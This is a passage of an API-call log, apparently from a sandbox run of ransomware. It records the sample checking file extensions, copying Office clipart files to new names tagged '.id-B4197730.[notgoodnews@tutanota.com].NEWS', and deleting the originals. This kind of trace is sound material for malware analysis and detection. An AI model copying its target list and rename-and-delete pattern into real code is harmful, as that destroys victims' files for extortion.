returned 1 [0093.132] lstrlenW (lpString=".bz2") returned 4 [0093.132] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.132] lstrlenW (lpString=".7z") returned 3 [0093.132] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.132] lstrlenW (lpString=".dbf") returned 4 [0093.132] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.133] lstrlenW (lpString=".1cd") returned 4 [0093.133] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.133] lstrlenW (lpString=".jpg") returned 4 [0093.133] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.133] lstrlenW (lpString=".doc") returned 4 [0093.133] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.133] lstrlenW (lpString=".docx") returned 5 [0093.133] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0093.133] lstrlenW (lpString=".pdf") returned 4 [0093.133] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.133] lstrlenW (lpString=".xls") returned 4 [0093.133] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.133] lstrlenW (lpString=".xlsx") returned 5 [0093.133] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0093.133] lstrlenW (lpString=".ppt") returned 4 [0093.133] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.133] lstrlenW (lpString=".zip") returned 4 [0093.133] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.133] lstrlenW (lpString=".rar") returned 4 [0093.133] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.133] lstrlenW (lpString=".bz2") returned 4 [0093.133] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.133] lstrlenW (lpString=".7z") returned 3 [0093.133] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.133] lstrlenW (lpString=".dbf") returned 4 [0093.133] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.133] lstrlenW (lpString=".1cd") returned 4 [0093.133] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.133] lstrlenW (lpString=".jpg") returned 4 [0093.134] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.134] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.134] lstrlenW (lpString="J0101980.WMF") returned 12 [0093.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0093.134] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=16104) returned 1 [0093.134] CloseHandle (hObject=0x36c) returned 1 [0093.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0093.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0093.135] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.135] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0093.180] GetLastError () returned 0x0 [0093.180] ReadFile (in: hFile=0x36c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0093.182] WriteFile (in: hFile=0x35c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0093.183] ReadFile (in: hFile=0x36c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.183] WriteFile (in: hFile=0x35c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.183] SetEndOfFile (hFile=0x35c) returned 1 [0093.183] CloseHandle (hObject=0x35c) returned 1 [0093.183] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.184] SetEndOfFile (hFile=0x36c) returned 1 [0093.184] CloseHandle (hObject=0x36c) returned 1 [0093.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0093.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.185] lstrlenW (lpString=".doc") returned 4 [0093.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.185] lstrlenW (lpString=".docx") returned 5 [0093.185] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.185] lstrlenW (lpString=".pdf") returned 4 [0093.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.185] lstrlenW (lpString=".xls") returned 4 [0093.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.185] lstrlenW (lpString=".xlsx") returned 5 [0093.185] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.185] lstrlenW (lpString=".ppt") returned 4 [0093.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.185] lstrlenW (lpString=".zip") returned 4 [0093.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.185] lstrlenW (lpString=".rar") returned 4 [0093.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.185] lstrlenW (lpString=".bz2") returned 4 [0093.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.185] lstrlenW (lpString=".7z") returned 3 [0093.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.186] lstrlenW (lpString=".dbf") returned 4 [0093.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.186] lstrlenW (lpString=".1cd") returned 4 [0093.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.186] lstrlenW (lpString=".jpg") returned 4 [0093.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.186] lstrlenW (lpString=".doc") returned 4 [0093.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.186] lstrlenW (lpString=".docx") returned 5 [0093.186] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.186] lstrlenW (lpString=".pdf") returned 4 [0093.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.186] lstrlenW (lpString=".xls") returned 4 [0093.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.186] lstrlenW (lpString=".xlsx") returned 5 [0093.186] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.186] lstrlenW (lpString=".ppt") returned 4 [0093.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.186] lstrlenW (lpString=".zip") returned 4 [0093.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.186] lstrlenW (lpString=".rar") returned 4 [0093.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.186] lstrlenW (lpString=".bz2") returned 4 [0093.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.186] lstrlenW (lpString=".7z") returned 3 [0093.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.186] lstrlenW (lpString=".dbf") returned 4 [0093.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.187] lstrlenW (lpString=".1cd") returned 4 [0093.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0093.187] lstrlenW (lpString=".jpg") returned 4 [0093.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.187] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.187] lstrlenW (lpString="J0102002.WMF") returned 12 [0093.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.629] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=15988) returned 1 [0093.629] CloseHandle (hObject=0x330) returned 1 [0093.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0093.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.630] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.630] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.630] GetLastError () returned 0x0 [0093.630] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3e74, lpOverlapped=0x0) returned 1 [0093.632] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3e80, lpOverlapped=0x0) returned 1 [0093.633] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.633] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.633] SetEndOfFile (hFile=0x39c) returned 1 [0093.634] CloseHandle (hObject=0x39c) returned 1 [0093.634] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.634] SetEndOfFile (hFile=0x330) returned 1 [0093.635] CloseHandle (hObject=0x330) returned 1 [0093.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0093.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.635] lstrlenW (lpString=".doc") returned 4 [0093.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.635] lstrlenW (lpString=".docx") returned 5 [0093.635] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.635] lstrlenW (lpString=".pdf") returned 4 [0093.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.635] lstrlenW (lpString=".xls") returned 4 [0093.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.635] lstrlenW (lpString=".xlsx") returned 5 [0093.635] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.635] lstrlenW (lpString=".ppt") returned 4 [0093.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.636] lstrlenW (lpString=".zip") returned 4 [0093.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.636] lstrlenW (lpString=".rar") returned 4 [0093.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.636] lstrlenW (lpString=".bz2") returned 4 [0093.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.636] lstrlenW (lpString=".7z") returned 3 [0093.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.636] lstrlenW (lpString=".dbf") returned 4 [0093.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.636] lstrlenW (lpString=".1cd") returned 4 [0093.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.636] lstrlenW (lpString=".jpg") returned 4 [0093.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.636] lstrlenW (lpString=".doc") returned 4 [0093.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.636] lstrlenW (lpString=".docx") returned 5 [0093.636] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.636] lstrlenW (lpString=".pdf") returned 4 [0093.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.636] lstrlenW (lpString=".xls") returned 4 [0093.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.636] lstrlenW (lpString=".xlsx") returned 5 [0093.636] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.636] lstrlenW (lpString=".ppt") returned 4 [0093.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.636] lstrlenW (lpString=".zip") returned 4 [0093.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.636] lstrlenW (lpString=".rar") returned 4 [0093.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.637] lstrlenW (lpString=".bz2") returned 4 [0093.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.637] lstrlenW (lpString=".7z") returned 3 [0093.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.637] lstrlenW (lpString=".dbf") returned 4 [0093.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.637] lstrlenW (lpString=".1cd") returned 4 [0093.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0093.637] lstrlenW (lpString=".jpg") returned 4 [0093.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.637] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.637] lstrlenW (lpString="J0105230.WMF") returned 12 [0093.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.637] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5172) returned 1 [0093.637] CloseHandle (hObject=0x330) returned 1 [0093.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0093.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.638] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.638] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.638] GetLastError () returned 0x0 [0093.638] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1434, lpOverlapped=0x0) returned 1 [0093.640] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1440, lpOverlapped=0x0) returned 1 [0093.641] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.641] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.641] SetEndOfFile (hFile=0x39c) returned 1 [0093.641] CloseHandle (hObject=0x39c) returned 1 [0093.641] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.641] SetEndOfFile (hFile=0x330) returned 1 [0093.642] CloseHandle (hObject=0x330) returned 1 [0093.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0093.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.643] lstrlenW (lpString=".doc") returned 4 [0093.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.643] lstrlenW (lpString=".docx") returned 5 [0093.643] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.643] lstrlenW (lpString=".pdf") returned 4 [0093.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.643] lstrlenW (lpString=".xls") returned 4 [0093.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.643] lstrlenW (lpString=".xlsx") returned 5 [0093.643] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.643] lstrlenW (lpString=".ppt") returned 4 [0093.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.643] lstrlenW (lpString=".zip") returned 4 [0093.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.643] lstrlenW (lpString=".rar") returned 4 [0093.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.643] lstrlenW (lpString=".bz2") returned 4 [0093.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.643] lstrlenW (lpString=".7z") returned 3 [0093.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0093.643] lstrlenW (lpString=".dbf") returned 4 [0093.643] 